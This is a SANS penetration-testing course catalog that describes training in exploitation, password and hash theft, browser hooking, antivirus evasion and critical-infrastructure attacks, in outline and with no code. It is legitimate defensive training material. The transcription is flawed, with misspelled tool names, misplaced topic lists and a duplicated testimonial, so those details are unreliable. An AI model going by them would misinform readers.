SANS Penetration Testing Course Catalog

Must-Have Skills for Every Security Professional

In-Depth, Hands-On, Real-World Penetration Testing Skills

Deep Technical Excellence Taught By World-Class Pen Test Pros

Metasploit Cheat Sheet and Other Free Resources Inside!

pen-testing.sans.org
Greetings Pen Test Fans, Aficionados, Geeks, and Enthusiasts!

Are you looking to develop in-depth technical skills to help defend your network against the onslaught of the latest computer attacks? Ed Skoudis here, the SANS Penetration Testing Curriculum Lead, and I’m really excited about our awesome lineup of penetration testing and ethical hacking courses, all designed to help you build the skills needed to find flaws, understand their business implications, and massively improve the state of security for your organization.

OFFENSE MUST INFORM DEFENSE

If we don’t know how attackers undermine our systems, there’s no way we’ll be able to defend them properly. Our courses provide in-depth knowledge of the latest and most damaging attack techniques to arm you to stop attackers in their tracks. Our relentless focus is on helping you build the skills you need to find vulnerabilities and implement world-class defenses.

THE BEST PEN TEST TRAINING ON THE PLANET

We’ve carefully constructed each course and the curriculum itself around an important goal: to provide you with the in-depth hands-on technical skills, tools, and techniques you can use the day you return to work to improve your organization’s security.

SOME EXCITING COURSE HIGHLIGHTS

Each SANS course is designed to give you absolutely critical skills in securing your environment. We’ve been introducing awesome new material and updates into all of our courses, but I’d like to draw your attention to three in particular.

SEC560: Network Penetration Testing & Ethical Hacking, is the most comprehensive course available teaching you how to conduct super high quality, end-to-end pen tests. The course provides deep technical coverage of network, web application, and wireless attacks, providing every infosec pro the knowledge needed to use industry-leading methodologies and technical excellence to provide solid business value to your organization. We’ve also introduced several brand new hands-on labs covering merciless pivoting, memory extraction of hashes and passwords, and countless other invaluable techniques so you can find flaws and mitigate them before the bad guys do.

Next, our revamped SEC542: Web Application Penetration Testing, zooms in on web apps, with numerous all-new hands-on labs and a restructured, optimized course flow. You’ll learn how to assess web applications, which are often a massive attack surface that bad guys exploit in today’s nastiest attacks. The course provides in-depth knowledge on mapping application functionality, scanning for flaws, and exploiting vulnerabilities such as cross-site scripting, SQL injection, file inclusion, and much, much more.

The newest course in our lineup is our most advanced ever, SEC760: Advanced Exploit Development for Penetration Testers. In this course, you learn skills that only the most elite penetration testers master: how to write exploits that dodge modern operating system defenses. You can use these intense skills to help measure whether your organization really has the defensive capabilities to fend off a customized attack from a very determined adversary. The course teaches the in-depth skills required to reverse engineer 32-bit and 64-bit applications, perform remote user application and kernel debugging, analyze patches to create brand new attacks, and write complex exploits.

A COMPREHENSIVE CURRICULUM

And those are just three courses in our roster of over ten awesome pen test classes. In every SANS pen test course, the high-value penetration testing skills we teach don’t involve just throwing a bunch of hacks at a target environment and declaring victory when a shell magically pops up. Instead, the best penetration testers focus on understanding their craft in-depth and providing significant value to their organizations. And that’s what SANS Pen Test courses are all about: teaching deep technical excellence to help you directly and significantly improve the security of your organization.

I hope to see you in class soon!

Ed Skoudis
SANS Pen Test Curriculum Lead & Faculty Fellow
Twitter: @edskoudis

SANS Penetration Testing Coins

Each 5 or 6-day SANS Penetration Testing course culminates in a full day of hands-on labs where you’ll apply the knowledge you’ve learned in real-world scenarios. These labs include a fun capture the flag game, where the top scoring students in the class will be awarded a course-specific prize coin. Each coin has its own theme, such as super heroes, ninjas, movie monsters, and more. These much-coveted coins are a physical reminder of your capture-the-flag victory in the course, and include a message congratulating you and encouraging you to achieve even more.

And here’s the best part… Each course’s coin includes its own cipher concealing a secret word. Some course coins include an ancient cipher, others have a modern cipher, and still others have a custom cipher created just for the coin. Regardless, each awaits your analysis and attack. If you decipher them all, you’ll find a special secret message and win an AWESOME prize!

In each course, a competition.
To each victor, a coin.
On each coin, a cipher.
Crack every cipher and TRIUMPH!

SANS Pen Test Coins:
Collect them all!
SEC504: Hacker Techniques, Exploits, and Incident Handling

If your organization has an Internet connection or one or two disgruntled employees (and whose doesn't!), your computer systems will get attacked. From the five, ten, or even one hundred daily probes against your Internet infrastructure to the malicious insider slowly creeping through your most vital information assets, attackers are targeting your systems with increasing viciousness and stealth.

By helping you understand attackers' tactics and strategies in detail, giving you hands-on experience in finding vulnerabilities and discovering intrusions, and equipping you with a comprehensive incident handling plan, the in-depth information in this course helps you turn the tables on computer attackers. This course addresses the latest cutting-edge insidious attack vectors and the "oldie-but-goodie" attacks that are still so prevalent, and everything in between. Instead of merely teaching a few hack attack tricks, this course includes a time-tested, step-by-step process for responding to computer incidents; a detailed description of how attackers undermine systems so you can prepare, detect, and respond to them; and a hands-on workshop for discovering holes before the bad guys do. Additionally, the course explores the legal issues associated with responding to computer attacks, including employee monitoring, working with law enforcement, and handling evidence.

This challenging course is particularly well suited to individuals who lead or are a part of an incident handling team. Furthermore, general security practitioners, system administrators, and security architects will benefit by understanding how to design, build, and operate their systems to prevent, detect, and respond to attacks.

You Will Be Able To

- Apply incident handling processes in-depth, including preparation, identification, containment, eradication, and recovery, to protect enterprise environments
- Analyze the structure of common attack techniques to be able to evaluate an attacker's spread through a system and network, anticipating and thwarting further attacker activity
- Utilize tools and evidence to determine the kind of malware used in an attack, including rootkits, backdoors, and trojan horses, choosing appropriate defenses and response tactics for each
- Use built-in command-line tools such as Windows tasklist, wmic, and reg as well as Linux netstat, ps, and lsof to detect an attacker's presence on a machine
- Analyze router and system ARP tables along with switch CAM tables to track an attacker's activity through a network and identify a suspect
- Use memory dumps and the Volatility tool to determine an attacker's activities on a machine, the malware installed, and other machines the attacker used as pivot points across the network
- Gain access of a target machine using Metasploit, and then detecting the artifacts and impacts of exploitation through process, file, memory, and log analysis
- Analyze a system to see how attackers use the Nettac tool to move files, create backdoors, and build relays through a target environment
- Run the Nmap port scanner and Nessus vulnerability scanner to find openings on target systems, and apply tools such as tcpdump and netstat to detect and analyze the impacts of the scanning activity
- Apply the tcpdump sniffer to analyze network traffic generated by a covert backdoor to determine an attacker's tactics
- Employ the netstat and lsof tools to diagnose specific types of traffic-flooding denial-of-service techniques and choosing appropriate response actions based on each attacker's flood technique
- Analyze shell history files to find compromised machines, attacker-controlled accounts, sniffers, and backdoors

Who Should Attend

- Incident handlers
- Penetration testers
- Ethical hackers
- Leaders of incident handling teams
- System administrators who are on the front lines defending their systems and responding to attacks
- Other security personnel who are first responders when systems come under attack

Topics:
- Reconnaissance; Scanning; Intrusion Detection System Evasion; Hands-on Exercises for a List of Tools
- Capture the Flag Contest; Hands-on Analysis; General Exploits; Other Attack Tools and Techniques
- Maintaining Access; Covering the Courses; Five Methods for Implementing Kernel-Mode RootKits on Windows and Linux; the Rise of Combo Malware; Detecting Backdoors; Hidden File Detection; Log Editing; Covert Channels; Sample Scenarios
- Analyze shell history files to find compromised machines, attacker-controlled accounts, sniffers, and backdoors

SEC504 has opened my mind to potential threats against resources I consider "Secured."
- Phillip Bacz, Dove Snort Dark Recon

“SEC504 has opened my mind to potential threats against resources I consider ‘Secured.'”
- Joshua Anthony, West Virginia Army National Guard

“When I get back to the office, I will use the knowledge I gained here to better defend my organization’s network.”
- Joshua Anthony, West Virginia Army National Guard

“The course covers almost every corner of attack and defense areas. It's a very helpful handbook for a network security analysis job. It upgrades my knowledge in IT security and keeps pace with the trend.”
- Anthony Luo, Scotia Bank

Course Day Descriptions

504.1 Incident Handling Step-by-Step and Computer Crime Investigation
This session describes a detailed incident handling process and applies that process to several in-the-trenches case studies. Additionally, in the evening an optional "Intro to Linux" mini-workshop will be held. This session provides introductory Linux skills you'll need to participate in exercises throughout the rest of SEC504. If you are new to Linux, attending this evening session is crucial.

Topics: Preparation; Identification; Containment; Eradication; Recovery; Special Actions for Responding to Different Types of Incidents; Incident Record-Keeping; Incident Follow-Up

504.2 HANDS ON: Computer and Network Hacker Exploits — PART 1
It is imperative that system administrators and security professionals know how to control what outsiders can see. Students who take this class and master the material can expect to learn the skills to identify potential targets and be provided tools they need to test their systems effectively for vulnerabilities. This day covers the first two steps of many hacker attacks: reconnaissance and scanning.

Topics: Network-Level Attacks; Gathering and Parsing Packets; Operating System and Application-Level Attacks; Nettac: The Attacker's Best Friend; Hands-on Exercises with a List of Tools

504.3 HANDS ON: Computer and Network Hacker Exploits — PART 2
Computer attackers are ripping our networks and systems apart in novel ways while constantly improving their techniques. This course covers the third step of many hacker attacks — gaining access. For each attack, the course explains vulnerability categories, how various tools exploit holes, and how to harden systems or applications against each type of attack. Students who sign an ethics and release form are issued a DVD containing the attack tools examined in class.

Topics: Network-Level Attacks; Gathering and Parsing Packets; Operating System and Application-Level Attacks; Nettac: The Attacker's Best Friend; Hands-on Exercises with a List of Tools

504.4 HANDS ON: Computer and Network Hacker Exploits — PART 3
Attackers aren’t resting on their laurels, and neither can we. They are increasingly targeting our operating systems and applications with ever-more clever and vicious attacks. This session looks at increasingly popular attack avenues as well as the plague of denial of service attacks.

Topics: Password Cracking; Web Application Attacks; Denial of Service Attacks; Hands-on Exercises with a List of Tools

504.5 HANDS ON: Computer and Network Hacker Exploits — PART 4
Once intruders have gained access into a system, they want to keep that access by preventing pesky system administrators and security personnel from detecting their presence. To defend against these attacks, you need to understand how attackers manipulate systems to discover the sometimes-subtle hints associated with system compromise. This course arms you with the understanding and tools you need to defend against attackers maintaining access and covering their tracks.

Topics: Maintaining Access; Covering the Courses; Five Methods for Implementing Kernel-Mode RootKits on Windows and Linux; the Rise of Combo Malware; Detecting Backdoors; Hidden File Detection; Log Editing; Covert Channels; Sample Scenarios

504.6 HANDS ON: Hacker Tools Workshop
In this workshop you'll apply skills gained throughout the week in penetrating various target hosts while playing Capture the Flag. Your instructor will act as your personal hacking coach, providing hints as you progress through the game and challenging you to break into the laboratory computers to help underscore the lessons learned throughout the week. For your own hacker laptop, do not have any sensitive data stored on the system. SANS is not responsible for your system if someone in the class actually downloads the tools during the workshop. Bring the right equipment and prepare it in advance to maximize what you’ll learn and the fun you’ll have doing it.

Topics: Capture the Flag Contest; Hands-on Analysis; General Exploits; Other Attack Tools and Techniques
SEC542: Web App Penetration Testing and Ethical Hacking

Assess Your Web Apps in Depth

Web applications are a major point of vulnerability in organizations today. Web app holes have resulted in the theft of millions of credit cards, major financial and reputational damage for hundreds of enterprises, and even the compromise of thousands of browsing machines that visited websites altered by attackers. In this intermediate to advanced level class, you’ll learn the art of exploiting web applications so you can find flaws in your enterprise’s web apps before the bad guys do.

Throughout detailed, hands-on exercises and training from a seasoned professional, you will be taught the four-step process for Web app penetration testing. You will inject SQL into back-end databases, learning how attackers exfiltrate sensitive data. You will utilize cross-site scripting attacks to dominate a target infrastructure in our unique hands-on laboratory environment. And you will explore various other web app vulnerabilities in depth with tried-and-true techniques for finding them using a structured testing regimen. You will learn the tools and methods of the attacker, so that you can be a powerful defender.

By knowing your enemy, you can defeat your enemy. General security practitioners, as well as website designers, architects, and developers, will benefit from learning the practical art of web application penetration testing in this class.

You Will Be Able To

- Apply a detailed, four-step methodology to your web application penetration tests, including Recon, Mapping, Discovery, and Exploitation
- Analyze the results from automated web testing tools to remove false positives and validate findings
- Use Python to create testing and exploitation scripts during a penetration test
- Create configurations and test payloads within Burp Intruder to perform SQL injection, XSS, and other web attacks
- Use FuzzDB to generate attack traffic to find flaws such as Command Injection and File Include issues
- Assess the logic and transaction flaw within a target application to find logic flaws and business vulnerabilities
- Use the release of Durzosploit to obfuscate XSS payloads to bypass WAFs and application filtering
- Analyze traffic between the client and the server application using tools such as Ratproxy and Zed Attack Proxy to find security issues within the client-side application code
- Use BeEF to hook victim browsers, attack the client software and network, and evaluate the potential impact XSS flaws have within an application
- Perform a complete web penetration test during the Capture the Flag exercise to pull all of the techniques and tools together into a comprehensive test

Who Should Attend

- General security practitioners
- Penetration testers
- Ethical hackers
- Web application vulnerability
- Website designers and architects
- Developers

Topics:

542.1 HANDS ON: The Attacker’s View of the Web

We begin by examining web technology – protocols, languages, clients, and server architectures – from the attacker’s perspective. Then we cover the four steps of web application pen tests: reconnaissance, mapping, discovery, and exploitation.

Topics:

- Overview of the Web from a Penetration Tester’s Perspective
- Exploring the Various Servers and Clients
- Discussion of the Various Web Architectures
- Discover How Session State Works
- Discussion of the Different Types of Vulnerabilities
- Define a Web Application Test Scope and Process
- Define Types of Penetration Testing

542.2 HANDS ON: Reconnaissance and Mapping

Reconnaissance includes gathering publicly-available information regarding the target application and organization, identifying machines that support our target application, and building a profile of each server. Then we will build a map of the application by identifying the components, analyzing the relationship between them, and determining how they work together.

Topics:

- Discover the Infrastructure Within the Application
- Identify the Machines and Operating Systems
- SSL Configurations and Weaknesses
- Explore Virtual Hosting and its Impact on Testing
- Learn Methods to Identify Load Balancers
- Software Configuration Discovery
- Explore External Information Sources
- Google Hacking
- Learn Tools to Spider a Website
- Scripting to Automate Web Requests and Spidering
- Application Flow Charting
- Relationship Analysis Within an Application
- JavaScript for the Attacker

542.3 HANDS ON: Server-Side Discovery

We will continue with the discovery phase, exploring both manual and automated methods of discovering vulnerabilities within the applications as well as exploring the interactions between the various vulnerabilities and the different user interfaces that web apps expose to clients.

Topics:

- Learn Methods to Discover Various Vulnerabilities
- Explore Differences Between Different Data Back-ends
- Explore Fuzzing and Various Fuzzing Tools
- Discuss the Different Interfaces Websites Contain
- Understand Methods for Attacking Web Services

542.4 HANDS ON: Client-Side Discovery

Learning how to discover vulnerabilities within client-side code, such as Java applets and Flash objects, includes use of tools to decompile the objects and applets. We will have a detailed discussion of how AJAX and web service technology enlarges the attack surface that pen testers leverage.

Topics:

- Learn Methods to Discover Various Vulnerabilities
- Learn Methods to Decompile Client-side Code
- Explore Malicious Applets and Objects
- Discovery Vulnerabilities in Web Application Through Their Client Components
- Understand Methods for Attacking Web Services
- Understand Methods for Testing Web 2.0 and AJAX-based Sites
- Learn How AJAX and Web Services Change Penetration Tests
- Learn the Attacker’s Perspective on Python and PHP

542.5 HANDS ON: Exploitation

Launching exploits against real-world applications includes exploring how they can help in the testing process, gaining access to browser history, port scanning internal networks, and searching for other vulnerable web applications through zombie browsers.

Topics:

- Explore Methods to Zombify Browsers
- Discuss Using Zombies to Port Scan or Attack Internal Networks
- Explore Attack Frameworks
- Walk Through an Entire Attack Scenario
- Exploit the Various Vulnerabilities Discovered
- Leverage the Attacks to Gain Access to the System
- Learn How to Pivot our Attacks Through a Web Application
- Understand Methods of Interacting with a Server Through SQL Injection
- Exploit Applications to Steal Cookies
- Execute Commands Through Web Application Vulnerabilities

542.6 HANDS ON: Capture the Flag

The goal of this event is for students to use the techniques, tools, and methodology learned in class against a realistic intranet application. Students will be able to use a virtual machine with the SamuraiWTF web pen testing environment in class and can apply that experience in their workplace.

Topics:

- Capture the Flag
SEC560: Network Penetration Testing and Ethical Hacking

As a cyber security professional, you have a unique responsibility to find and understand your organization’s vulnerabilities and to work diligently to mitigate them before the bad guys pounce. Are you ready? SANS SEC560, our flagship course for penetration testing, fully arms you to address this duty head-on.

THE MUST-HAVE COURSE FOR EVERY WELL-ROUNDED SECURITY PROFESSIONAL

The whole course is designed to get you ready to conduct a full-scale, high-value penetration test, and on the last day of the course, you’ll do just that. After building your skills in awesome labs over five days, the course culminates with a final full-day, real-world penetration test scenario. You’ll conduct an end-to-end pen test, applying knowledge, tools, and principles from throughout the course as you discover and exploit vulnerabilities in a realistic sample target organization, demonstrating the knowledge you’ve mastered in this course.

You will learn how to perform detailed reconnaissance, learning about a target’s infrastructure by mining blogs, search engines, social networking sites, and other Internet and intranet infrastructures. You’ll be equipped to scan target networks using best-of-breed tools from experience in our hands-on labs. After scanning, you’ll learn dozens of methods for exploiting target systems to gain access and measure real business risk. You’ll dive deep into post exploitation, password attacks, wirelessly, and web apps, pivoting through the target environment to model the attacks of real-world bad guys to emphasize the importance of defense in depth.

LEARN THE BEST WAYS TO TEST YOUR OWN SYSTEMS BEFORE THE BAD GUYS ATTACK

With comprehensive coverage of tools, techniques, and methodologies for network, web app, and wireless testing, SEC560 truly prepares you to conduct high-value penetration testing projects end-to-end, step-by-step. Every organization needs skilled infosec personnel who can find vulnerabilities and mitigate their impacts, and this whole course is specially designed to get you ready for that role. With over 30 detailed hands-on labs throughout, the course is chock full of practical, real-life experiences that you’ll carry with you for years to come.

SEC560 presents great content, real world experience and application.

- Bane Tafra, PSU

SEC560 helps to take the stew of ideas and techniques in my head and organize them in a ‘professionally’ usable way.

- Igor Gershun

Who Should Attend

- Security personnel whose job involves assessing networks and systems to find security vulnerabilities
- Penetration testers
- Ethical hackers
- Auditors who need to build deeper technical skills

You Will Be Able To

- Develop tailored scope and rules of engagement for penetration testing projects to ensure the work is focused, well defined, and conducted in a safe manner
- Conduct detailed reconnaissance using document metadata, search engines, and other publicly available information sources to build a technical and organizational understanding of the target environment
- Utilize a scanning tool such as Nmap to conduct comprehensive network sweeps, port scans, OS fingerprinting, and version scanning to develop a map of target environments
- Configure and launch a vulnerability scanner such as Nessus so that it discovers vulnerabilities through both authenticated and unauthenticated scans in a safe manner, and customize the output from such tools to represent the business risk to the organization
- Analyze the output of scanning tools to manually verify findings and perform false positive reduction using connection-making tools such as Netcat and packet crafting tools such as Scapy
- Utilize the Windows and Linux command lines to plunder target systems for vital information that can further the overall penetration test progress, establish pivots for deeper compromise, and help determine business risks
- Configure an exploitation tool such as Metasploit to scan, exploit, and then pivot through a target environment
- Conduct comprehensive password attacks against an environment, including automated password guessing (while avoiding account lockout), traditional password cracking, rainbow table password cracking, and pass-the-hash attacks
- Utilize wireless attacks tools for WiFi networks to discover access points and clients (actively and passively), crack WEP/WPA/WPA2 keys, and exploit client machines included within a project’s scope
- Launch web application vulnerability scanners such as ZAP and then manually exploit Cross-Site Request Forgery, Cross-Site Scripting, Command Injection, and SQL Injection vulnerabilities to determine the business risk faced by an organization

SEC560 presents great content, real world expertise and application.

- Bane Tafra, PSU

“Learning all these tools is super valuable for security professionals or even system admins, they help understand how things work.”

- Igor Gershun

Topics:

- Analyze the output of scanning tools to manually verify findings and perform false positive reduction using connection-making tools such as Netcat and packet crafting tools such as Scapy
- Auditors who need to build deeper technical skills
- Security personnel whose job involves assessing networks and systems to find security vulnerabilities
- Penetration testers
- Ethical hackers
- Auditors who need to build deeper technical skills

SEC560 Handouts:

- Hands-On: Comprehensive Pen Test Planning, Scoping, and Recon
- Hands-On: In-depth Scanning
- Hands-On: Exploitation and Post Exploitation
- Hands-On: Password Attacks & Merciless Pivoting
- Hands-On: Penetration Testing Workshop and Capture the Flag Event

Course Day Descriptions

**560.1 Hands-On: Comprehensive Pen Test Planning, Scoping, and Recon**

In this section of the course, you’ll develop the skills needed to prepare to conduct a best-of-breed, high-value penetration test. We’ll go in depth on how to build a penetration testing infrastructure that includes all the hardware, software, network infrastructure, and tools you’ll need for conducting great penetration tests, with specific low-cost recommendations for your arsenal. We’ll then cover formulating a pen test scope and rules of engagement that’ll set you up for success, with a role-playing exercise where you’ll build an effective scope and rules of engagement. We also dig deep into the reconnaissance portion of a penetration test covering the latest tools and techniques, including hands-on document metadata analysis to pull sensitive information about a target environment.

**Topics:** The Mindset of the Professional Pen Tester; Building a World-Class Pen Test Infrastructure; Creating Effective Pen Test Scopes and Rules of Engagement; Effective Reporting; Detailed Recon Using the Latest Tools; Mining Search Engine Results; Document Metadata Extraction and Analysis

**560.2 Hands-On: In-depth Scanning**

We next focus on the vital task of mapping the attack surface by creating a comprehensive inventory of machines, accounts, and potential vulnerabilities. We’ll look at some of the most useful scanning tools freely available today and run them in numerous hands-on labs to help hammer home the most effective way to use each tool. We’ll also conduct a deep dive into some of the most useful tools available to pen testers today for formulating packets: Scapy and Netcat. We finish the day covering vital techniques for false-positive reduction so you can focus your findings on meaningful results and avoid the sting of a false positive, as well as how to conduct your scans safely and efficiently.

**Topics:** Tips for Awesome Scanning; Topdump for the Pen Tester; Nmap In-depth; the Nmap Scripting Engine; Version Scanning with Nmap and Amp; Vulnerability Scanning with Nessus and Retina; False Positive Reduction; Packet manipulation with Scapy; Enumerating Users; Metasploit for the Pen Tester; Monitoring Services During a Scan

**560.3 Hands-On: Exploitation and Post Exploitation**

In this section, we look at the many kinds of exploits that penetration testers use to compromise target machines, including client-side exploits, service-side exploits, and local privilege escalation. We’ll see how these exploits are packaged in frameworks like Metasploit and its mighty Meterpreter. You’ll learn in-depth how to leverage Metasploit and the Meterpreter to compromise target environments, search them for information to advance the penetration test, and pivot to target systems with a focus on determining the true business risk of the target organization. We’ll also look at post-exploitation analysis of machines and pivoting to find new targets, finishing the section with a lively discussion of how to leverage the Windows shell to dominate target environments.

**Topics:** Comprehensive Metasploit Coverage with Exploits/Stagers/Stages; In-depth Meterpreter Hands-On Labs; Implementing Port Forwarding Relays for Merciless Pixie; Bypassing the Shell vs. Terminal Dilemma; Installing VNC/RDP/SSH with Only Shell Access; Windows Command Line Kung Fu for Penetration Tests

**560.4 Hands-On: Password Attacks & Merciless Pivoting**

This component of the course turns our attention to password attacks, analyzing password guessing, password cracking, and pass-the-hash techniques in depth. We’ll go over real-world tips based on real-world experience to help penetration testers and ethical hackers maximize the effectiveness of their password attacks. You’ll patch and custom-compile John the Ripper to optimize its performance in cracking passwords. You’ll look at the amazingly full-featured Cain tool running it to crack sniffed Windows authentication messages. You’ll also perform multiple types of pivots to move laterally through our target lab environment, and pluck hashes and cleartext passwords from memory using the Mimikatz tool. We’ll see how Rainbow Tables really work to make password cracking much more efficient, all hands-on. And, we’ll finish the day with an exciting discussion of powerful “pass-the-hash” attacks, leveraging Metasploit, the Meterpreter, and SAMBA client software.

**Topics:** Password attack tips; Account lockout and strategies for avoiding it; Automated Password Guessing with THC-Hydra; retrieving and manipulating hashes from Windows, Linux, and other systems; Passive pivoting through target environments; Extracting hashes and passwords from memory with Mimikatz; Password cracking with John the Ripper & Cain; Using Rainbow Tables to maximum effectiveness; Pass-the-hash attacks with Metasploit and more

**560.5 Hands-On: Wireless and Web Apps Penetration Testing**

This in-depth section of the course is focused on helping you become a well-rounded penetration tester. Augmenting your network penetration testing abilities, we turn our attention to methods for finding and exploiting wireless weaknesses, including identifying misconfigured access points, cracking weak wireless protocols, and the exploiting wireless clients. We then turn our attention to web application pen testing, with detailed hands-on exercises that involve finding and exploiting cross-site scripting (XSS), cross-site request forgery (XSRF), command injection, and SQL injection flaws in applications such as online banking, blog sites, and more.

**Topics:** Wireless Attacks; Discovering Access; Attacking Wireless Crypto Flows; Client-Side Wireless Attacks; Finding and Exploiting Cross-Site Scripting; Cross-Site Request Forgery; SQL Injection; Leveraging SQL Injection to Perform Command Injection; Maximizing Effectiveness of Command Injection Testing

**560.6 Hands-On: Penetration Testing Workshop and Capture the Flag Event**

This lively session represents the culmination of the network penetration testing and ethical hacking course, where you’ll apply all of the skills mastered in the course so far in a full-day, hands-on workshop. In this final workshop, you’ll conduct an actual penetration test of a sample target environment. We’ll provide the scope and rules of engagement, and you’ll work with a team to achieve your goal of finding out whether the target organization’s Personally Identifiable Information (PII) is at risk. And, as a final step in preparing you for conducting penetration tests, you’ll make recommendations about remediating the risks you identify.

**Topics:** Applying Penetration Testing and Ethical Hacking Practices End-to-end; Scanning; Exploitation; Post-Exploitation; Pivoting; Analyzing Results
SEC561: Hands-on Penetration Testing for the InfoSec Pro

To be a top pen test professional, you need fantastic hands-on skills for finding, exploiting, and resolving vulnerabilities. SANS top instructors engineered SEC561: Intense Hands-on Pen Testing Skill Development from the ground up to help you get good fast. The course teaches in-depth security capabilities through 80%+ hands-on exercises and labs, maximizing keyboard time on in-class labs and making this SANS’ most hands-on course ever. With over 30 hours of intense labs, students experience a leap in their capabilities, as they come out equipped with the practical hands-on skills needed to address today’s pen test and vulnerability assessment projects in enterprise environments.

To get the most out of this course, students should have at least some prior hands-on vulnerability assessment or penetration testing experience (at least 6 months) or have taken at least one other penetration testing course (such as SANS SEC504, SEC560, or SEC542). The course will build on that background, helping participants ramp up their skills even further across a broad range of penetration testing disciplines.

Throughout the course, an expert instructor coaches students as they work their way through solving increasingly demanding real-world information security scenarios that they can apply the day that they get back to their jobs.

A lot of people talk about these concepts, but this course teaches you how to actually apply them hands-on and in-depth. SEC561 shows security personnel, including penetration testers, vulnerability assessment personnel, auditors, and operations personnel, how to leverage in-depth techniques to get powerful results in every one of their projects. The course is overflowing with practical lessons and innovative tips, all with direct hands-on application. Throughout the course, students interact with brand new, custom-developed scenarios built just for this course on the innovative NetWars challenge infrastructure, which guides them through the numerous hands-on labs providing questions, hints, and lessons learned as they build their skills.

### Who Should Attend

- Security professionals that want to expand their hands-on technical skills in new analysis areas such as packet analysis, digital forensics, vulnerability assessment, system hardening, and penetration testing
- Systems and network administrators that want to gain hands-on experience in information security skills to become better administrators
- Incident response analysts who want to better understand system attack and defense techniques
- Forensic analysts who need to improve their analysis through experience with real-world attacks
- Penetration testers seeking to gain practical hands-on experience for use in their own assessments

### Course Day Descriptions

#### 561.1 HANDS ON: Security Platform Analysis

The first day of the course prepares students for real-world security challenges by giving them hands-on practice with essential Linux and Windows server and host management tools. First, students will leverage built-in and custom Linux tools to evaluate the security of host systems and servers, inspecting and extracting content from rich data sources such as image headers, browser cache content, and system logging resources. Next, students will turn their focus to performing similar analysis against remote Windows servers using built-in Windows system management tools to identify misconfigured services, scrutinize historical registry entries for USB devices, evaluate the impact of malware attacks, and analyze packet capture data. By completing these tasks, students build their skills in managing systems, applicable to post-compromise system host analysis, or defensive tasks such as defending targeted systems from persistent attack threats. By adding new tools and techniques to their arsenal, students are better prepared to complete the analysis of complex systems with greater accuracy in less time.

**Topics:** Linux Host and Server Analysis; Windows Host and Server Analysis

#### 561.2 HANDS ON: Enterprise Security Assessment

In this section of the class, students investigate the critical tasks for a high-quality penetration test. We’ll look at the safest, most efficient ways to map a network and discover target systems and services. Once the systems are discovered, we look for vulnerabilities and reduce false positives with manual vulnerability verification. We’ll also look at exploitation techniques, including the use of the Metasploit Framework to exploit these vulnerabilities, accurately describing risk and further reducing false positives. Of course, exploits are not the only way to access systems, so we also leverage password-related attacks, including guessing and cracking techniques to extend our reach for a more effective and valuable penetration test.

**Topics:** Network Mapping and Discovery; Enterprise Vulnerability Assessment; Network Penetration Testing; Password and Authentication Exploitation

#### 561.3 HANDS ON: Web Application Assessment

This section of the course will look at the variety of flaws present in web applications and how each of them is exploited. Students will solve challenges presented to them by exploiting web applications hands-on with the tools used by professional web application penetration testers every day. The websites students attack mirror real-world vulnerabilities including Cross-Site Scripting (XSS), SQL Injection, Command Injection, Directory Traversal, Session Manipulation and more. Students will need to exploit the present flaws and answer questions based on the level of compromise they are able to achieve.

**Topics:** Recon and Mapping; Server-side Web Application Attacks; Client-side Web Application Attacks; Web Application Vulnerability Exploitation

#### 561.4 HANDS ON: Mobile Device and Application Analysis

With the accelerated growth of mobile device use in enterprise networks, organizations find an increasing need to identify expertise in the security assessment and penetration testing of mobile devices and the supporting infrastructure. In this component of the course, we examine the practical vulnerabilities introduced by mobile devices and applications, and how they relate to the security of the enterprise. Students will look at the common vulnerabilities and attack opportunities against Android and Apple iOS devices, examining data remnants from lost or stolen mobile devices, the exposure introduced by common weak application developer practices, and the threat introduced by popular cloud-based mobile applications found in many networks today.

**Topics:** Mobile Device Assessment; Mobile Device Data Harvesting; Mobile Application Analysis

#### 561.5 HANDS ON: Advanced Penetration Testing

This portion of the class is designed to teach the advanced skills required in an effective penetration test to extend our reach and move through the target network. This extended reach will provide a broader and more in-depth look at the security of the enterprise. We’ll utilize techniques to pivot through compromised systems using various tunneling/pivoting techniques, bypass anti-virus and built-in commands to extend our influence over the target environment and find issues that lesser testers may have missed. We’ll also look at some of the common mistakes surrounding poorly or incorrectly implemented cryptography and ways to take advantage of those weaknesses to access systems and data that are improperly secured.

**Topics:** Anti-Virus Evasion Techniques; Advanced Network Pivoting Techniques; Exploiting Network Infrastructure Components; Exploiting Cryptographic Weaknesses

#### 561.6 HANDS ON: Capture the Flag Challenge

This lively session represents the culmination of the course, where attendees will apply the skills they have mastered throughout all the other sessions in a hands-on workshop. Attendees will participate in a larger version of the exercises presented in the class to independently reinforce skills learned throughout the course. Attendees will apply their newly developed skills to scan for flaws, use exploits, unravel technical challenges, and dodge firewalls, all while guided by the challenges presented to you by the NetWars Scoring Server. By practicing the skills in a combination workshop where multiple focus areas are combined, participants will have the opportunity to explore, exploit, pillage, and continue to reinforce skills against a realistic target environment.

**Topics:** VoIP supporting infrastructure; VoIP Environment Awareness

---

For course updates, prerequisites, special notes, or laptop requirements, visit [sans.org/courses](http://sans.org/courses)
Computers, networks, and programmable logic controllers operate most of the physical infrastructure of our modern world, ranging from electrical power grids, water systems, and traffic systems all the way down to HVAC systems and industrial automation. Increasingly, security professionals need the skills to assess and defend these important infrastructures. In this innovative and cutting-edge course, you’ll learn how to analyze and assess the security of kinetic control systems, finding vulnerabilities that could result in significant kinetic impact.

SEC562 includes over 80% of course time devoted directly to hands-on labs to help participants build real keyboard skills quickly, powered by the SANS NetWars engine. Participants will conduct thorough exercises as a series of missions, all with the goal of achieving specific objectives in preventing attackers from causing physical damage. In each mission, participants gain access to different critical systems including electrical distribution systems, water filtration systems, traffic light controllers, and medical patient data management systems, exploiting the same flaws that are used by advanced adversaries, all with the goal of finding and mitigating flaws before an adversary does.

Using the innovative SANS CyberCity project as a target environment, participants analyze and exploit actual critical infrastructure systems, building skills in attacking general-purpose servers and specialized control protocols including DNP3, Common Industrial Protocol (CIP), Modbus/TCP, Profinet, and more. Combined with 20% classroom lecture, 80% hands-on exercises, and individualized guidance from an expert instructor, participants will build the skills needed to scan, evaluate, exploit, and assess real-world systems representing a critical infrastructure component for many organizations today.

SEC562: CyberCity Hands-on Kinetic Cyber Range Exercise for the InfoSec Pro

CyberCity Missions:

1. Kinetic Reconnaissance of Battlespace: Mission participants must gain access to all five cameras in CyberCity so that they can view kinetic actions from the satellite, commercial, industrial, residential, and military cameras.

2. Power Grid: Attackers have hacked the power grid causing a blackout. Mission participants must gain control of power computers and the associated Industrial Control Systems to turn the lights back on.

